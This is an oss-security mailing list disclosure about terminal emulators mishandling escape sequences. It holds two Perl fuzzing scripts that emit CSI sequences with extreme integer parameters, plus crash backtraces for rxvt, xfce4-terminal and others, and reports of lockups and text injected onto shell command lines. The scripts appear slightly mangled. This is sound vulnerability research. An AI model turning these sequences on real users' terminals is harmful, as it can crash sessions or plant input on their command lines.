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Date: Mon, 1 May 2017 18:44:28 +0200
From: Solar Designer <>
Subject: terminal emulators' processing of escape sequences


It is a well-known feature, previously discussed in here, that data
printed to a terminal (emulator) may control that terminal, including
making it effectively unusable until reset, and in some cases even
pasting characters as if they were typed by the user.  Also as discussed
what characters may be pasted varies by terminal - sometimes they can be
arbitrary (e.g., if the terminal supports macro recording and playback
via escape sequences) and sometimes not so (like a terminal reporting
back its status, usually not followed by a linefeed, so not yet
executing a shell command until further user assistance).  Here are some
relevant threads:

(I link to messages that started these threads, not necessarily to most
informative messages in the threads.  So you might want to go through
the threads with the "thread-next" links.)

Besides (mis)features, there may also be implementation bugs.  A couple
of weeks ago, I brought in here vulnerabilities in terminal escape
handling in minicom and prl-vzvncserver (both already fixed in latest
versions by then):

I already knew this wouldn't be the end of the story as some other
terminal emulators exhibited suspicious behavior when targeted with
streams of unusual escape sequences involving large or negative integer
parameters.  I sent the following to the distros list on April 17,
presented here with updates reflecting the current status.

I wrote a script, and indeed there are crashes:


# List of numbers stolen from
@numbers = ('0', '-0', '1', '-1', '32767', '-32768', '2147483647', '-2147483647', '2147483648', '-2147483648',
              '4294967294', '4294967295', '4294967296', '357913942', '-357913942', '536870912', '-536870912',
              '1.79769313486231E+308', '3.39519326559384E-313', '99999999999', '-99999999999', '0x100', '0x1000',
              '0x3fffffff', '0x7ffffffe', '0x7fffffff', '0x80000000', '0xffff', '0xfffffffe', '0xfffffff', '0xffffffff',
              '0x10000', '0x100000', '0x99999999', '65535', '65536', '65537', '16777215', '16777216', '16777217', '-268435455');

sub test
	local $what = shift;
	print "Testing CSI $what\n";
	print "\033[" . $what . "first\nsecond\n";
#	print "\233" . $what . "first\nsecond\n";

foreach $n1 (@...bers) {
	for ($c = 0; $c < 256; $c++) {
		test($n1 . chr($c));
		foreach $n2 (@...bers) {
			test($n1 . ";" . $n2 . chr($c));


Program received signal SIGSEGV, Segmentation fault.
0x000055555556a560 in rxvt_scroll_text.part ()
(gdb) bt
#0  0x000055555556a560 in rxvt_scroll_text.part ()
#1  0x00005555555602eb in rxvt_process_csi_seq ()
#2  0x00005555555607a7 in rxvt_main_loop ()
#3  0x000055555555c1eb in main ()

   0x000055555556a540 <+512>:	cmp    %r15,%rbp
   0x000055555556a543 <+515>:	je     0x55555556a5d0 <rxvt_scroll_text.part.4+656>
   0x000055555556a549 <+521>:	mov    0x198(%rbx),%rdx
   0x000055555556a550 <+528>:	xor    %ecx,%ecx
   0x000055555556a552 <+530>:	test   %r14d,%r14d
   0x000055555556a555 <+533>:	mov    %cx,(%rdx,%rax,1)
   0x000055555556a559 <+537>:	mov    0x178(%rbx),%rdx
=> 0x000055555556a560 <+544>:	mov    (%rdx,%rbp,1),%rcx
   0x000055555556a564 <+548>:	mov    0x190(%rbx),%rdx
   0x000055555556a56b <+555>:	mov    %rcx,(%rdx,%r12,1)
   0x000055555556a56f <+559>:	mov    0x180(%rbx),%rdx
   0x000055555556a576 <+566>:	mov    (%rdx,%rbp,1),%rcx
   0x000055555556a57a <+570>:	mov    0x1a0(%rbx),%rdx
   0x000055555556a581 <+577>:	mov    %rcx,(%rdx,%r12,1)
   0x000055555556a585 <+581>:	jne    0x55555556a530 <rxvt_scroll_text.part.4+496>

(gdb) p/x $rdx
$1 = 0x5555557dd0c0
(gdb) p/x $rbp
$2 = 0x3fffffff8

I did not investigate this closely.

Jason A. Donenfeld of Gentoo volunteered to investigate it, and came up
with findings that he's to post to oss-security on his own.


(xfce4-terminal:10050): Gdk-ERROR **: The program 'xfce4-terminal' received an X Window System error.
This probably reflects a bug in the program.
The error was 'BadAlloc (insufficient resources for operation)'.
  (Details: serial 54787 error_code 11 request_code 12 minor_code 0)
  (Note to programmers: normally, X errors are reported asynchronously;
   that is, you will receive the error a while after causing it.
   To debug your program, run it with the --sync command line
   option to change this behavior. You can then get a meaningful
   backtrace from your debugger if you break on the gdk_x_error() function.)

Program received signal SIGTRAP, Trace/breakpoint trap.
0x00007ffff5b3b86b in g_logv () from /lib64/
(gdb) bt
#0  0x00007ffff5b3b86b in g_logv () at /lib64/
#1  0x00007ffff5b3b9df in g_log () at /lib64/
#2  0x00007ffff6d04b10 in gdk_x_error () at /lib64/
#3  0x00007ffff784139d in _XError () at /lib64/
#4  0x00007ffff783e227 in handle_error () at /lib64/
#5  0x00007ffff783e2e5 in handle_response () at /lib64/
#6  0x00007ffff783eca5 in _XEventsQueued () at /lib64/
#7  0x00007ffff78306a7 in XPending () at /lib64/
#8  0x00007ffff6cf8e8e in gdk_event_check () at /lib64/
#9  0x00007ffff5b34bd1 in g_main_context_check () at /lib64/
#10 0x00007ffff5b35130 in g_main_context_iterate.isra () at /lib64/
#11 0x00007ffff5b35512 in g_main_loop_run () at /lib64/
#12 0x00007ffff70a2667 in gtk_main () at /lib64/
#13 0x000055555556327a in main ()

and gnome-terminal looks similar, also taking down the parent
ghome-terminal (perhaps via their shared server).  Again I did not
investigate this, but unlike rxvt these crashes look only indirectly
related to the escapes.

Yves-Alexis Perez of Debian pointed out that whether these crashes occur
or not may be related to the version of vte.  I'll leave it up to him to
post a follow-up on that.


ERR<10676>:termpty termptyesc.c:1115 _handle_esc_csi() unhandled CSI 'x': 2147483647;0x
ERR<10676>:termpty termptyesc.c:1115 _handle_esc_csi() unhandled CSI 'x': 2147483647;0x
ERR<10676>:termpty termptyesc.c:1115 _handle_esc_csi() unhandled CSI 'x': 2147483647;0x

and so on, where it effectively locks up (is stuck re-processing this
same escape sequence in an endless loop?)  Before reaching this point,
it plays funny music.

Several others sort of passed the test - no crash, but then it's typical
to see something injected onto the shell command line, e.g. in lilyterm
it's "62;9;cx62;9;cx62;[...];9;cxxxxxxxxxxxxxxxxxxxxxxxxx[...]", where I
omitted (denoted with "[...]") many other repeats of "9;cx62" and many
more "x" characters.  I've seen similar injected strings from running
this script on many other terminals.  There was no automatic shell
command execution - the person would still need to press Enter in order
to be fully trapped.

Note that my trivial script does not test for an equivalent to minicom's
escparms[] array overflow - that would need to be tested separately.
Also, many more orderings of the escape commands (e.g., setting up a
scroll region and then moving the cursor) and many more integer values
may be tested.

Unfortunately, I did not record which terminal emulators did not crash
for me.  However, Jason recorded both kinds of results for him, coming
up with:

Konsole: no crash
Xterm: no crash
rxvt: crash
Yakuake: no crash
Mosh (which is a terminal emulator, after all): no crash
Screen: 100% CPU usage --> DoS
rxvt-unicode: no crash
Qterminal: no crash
putty: no crash

This adds "screen" to terminal emulators with problematic processing of
terminal escapes.  Due to minor known impact, we did not handle this
under embargo - it should be investigated and fixed now, in public.

For testing minicom, which sort of passed the test (short for the known
escparms[] buffer overflow), I used a different revision of the script:


# List of numbers stolen from
@numbers = ('0', '-0', '1', '-1', '32767', '-32768', '2147483647', '-2147483647', '2147483648', '-2147483648',
              '4294967294', '4294967295', '4294967296', '357913942', '-357913942', '536870912', '-536870912',
              '1.79769313486231E+308', '3.39519326559384E-313', '99999999999', '-99999999999', '0x100', '0x1000',
              '0x3fffffff', '0x7ffffffe', '0x7fffffff', '0x80000000', '0xffff', '0xfffffffe', '0xfffffff', '0xffffffff',
              '0x10000', '0x100000', '0x99999999', '65535', '65536', '65537', '16777215', '16777216', '16777217', '-268435455');

sub test
	local $what = shift;
	print STDERR "Testing CSI $what\n";
	do {
		open(PIPE, "> fifo") || die;
		print PIPE "\033[" . $what . "first\nsecond\n";
	} until (close(PIPE));
#	select undef, undef, undef, 0.02;


foreach $n1 (@...bers) {
	for ($c = 0; $c < 256; $c++) {
		test($n1 . chr($c));
		foreach $n2 (@...bers) {
			test($n1 . ";" . $n2 . chr($c));

In my testing, this script sometimes unintentionally triggers the
escparms[] overflow in minicom.  I guess this is because of its
non-perfect handling of the named pipe's buffer filling up (partial data
from a previous write gets concatenated with attempted next write).
This also means that occasionally it will miss testing some of the
sequences as intended.  I am saying this now primarily so that none of
you get alarmed by unpatched minicom crashing on some runs of that
script - this does not necessarily indicate the script triggers another
issue of this kind, even though it does not probe for the escparms[]
overflow explicitly.

One thing we mostly haven't tried yet (except on prl-vzvncserver) is
applying this kind of fuzzing/testing to ASan-enabled builds of
terminals; doing so may reveal dormant issues, which with some code
review and better targeted attacks could be awoken in regular builds as
well.  Another thing we mostly haven't tried yet (except for
prl-vzvncserver and to a lesser extent minicom) is old-fashioned manual
code review.  This too may result in findings that a specific script
would miss.

I'll stop here, expecting that Jason and Yves-Alexis will post
follow-ups, and the wider oss-security community will do some more
testing and fuzzing of terminal escapes, as well as hopefully code
reviews, likely finding more issues.



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